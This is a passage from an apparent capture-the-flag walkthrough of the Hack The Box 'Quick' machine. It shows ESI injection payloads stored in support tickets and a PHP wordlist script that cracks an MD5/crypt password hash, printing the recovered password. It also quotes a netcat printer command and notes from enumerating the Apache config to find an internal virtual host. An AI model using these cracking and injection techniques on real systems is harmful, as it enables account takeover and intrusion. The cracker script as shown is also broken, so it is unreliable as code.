| TKT-0987 | evil | "<esi:include src="" stylesheet=""></esi:include>" | open |
| TKT-9876 | evil1 | "<esi:include src="" stylesheet=""></esi:include>" | open |
| TKT-8765 | evil2 | "<esi:include src="" stylesheet=""></esi:include>" | open |
9 rows in set (0.00 sec)
I also found a list of the tickets that I submitted earlier...the lazy admin still hadn't gotten around to helping me with my issues!
for the password "hash" I found, the login.php contained this line which explained it:
$password = md5(crypt($password,'fa'));
if ($wordlist = fopen("/home/zweilos/rockyou_utf8.txt", "r")) {
while ((!feof($wordlist))) {
$pass = fgets($wordlist);
# echo "Trying: " . $pass;
$hash = "e626d51f8fbfd1124fdea88396c35d05";
$ciphertext = MD5(crypt(trim($pass),'fa'));
if ($hash == $ciphertext) {
exit("The password is: " . $pass);
} else {
exit("Failed to open the wordlist");
then I ran it and didn't have to wait long
[email protected]:~/htb/quick$ php decrypt.php
The password is: yl51pbx
Some examples are below for common interfaces.
Communicate with a printer with an Ethernet interface using netcat:
php hello-world.php | nc 10.x.x.x. 9100
# If you just change the port or add more ports here, you will likely also
# have to change the VirtualHost statement in
# /etc/apache2/sites-enabled/000-default.conf
While poking around in the /etc/apache2 directory I noticed the ports.conf file referenced a listener on port 80. Since this was not exposed outside the box, this must be an internal page only. The file said to check /etc/apache2/sites-enabled/000-default.conf for virtual hosts, so I did.
<VirtualHost *:80>
AssignUserId srvadm srvadm
ServerName printerv2.quick.htb
DocumentRoot /var/www/printer
Here was the information I was looking for! There was a virtual host on port 80 at printerv2.quick.htb running under user srvadm. This may allow me exploit that jobs folder I had found in /var/www/html.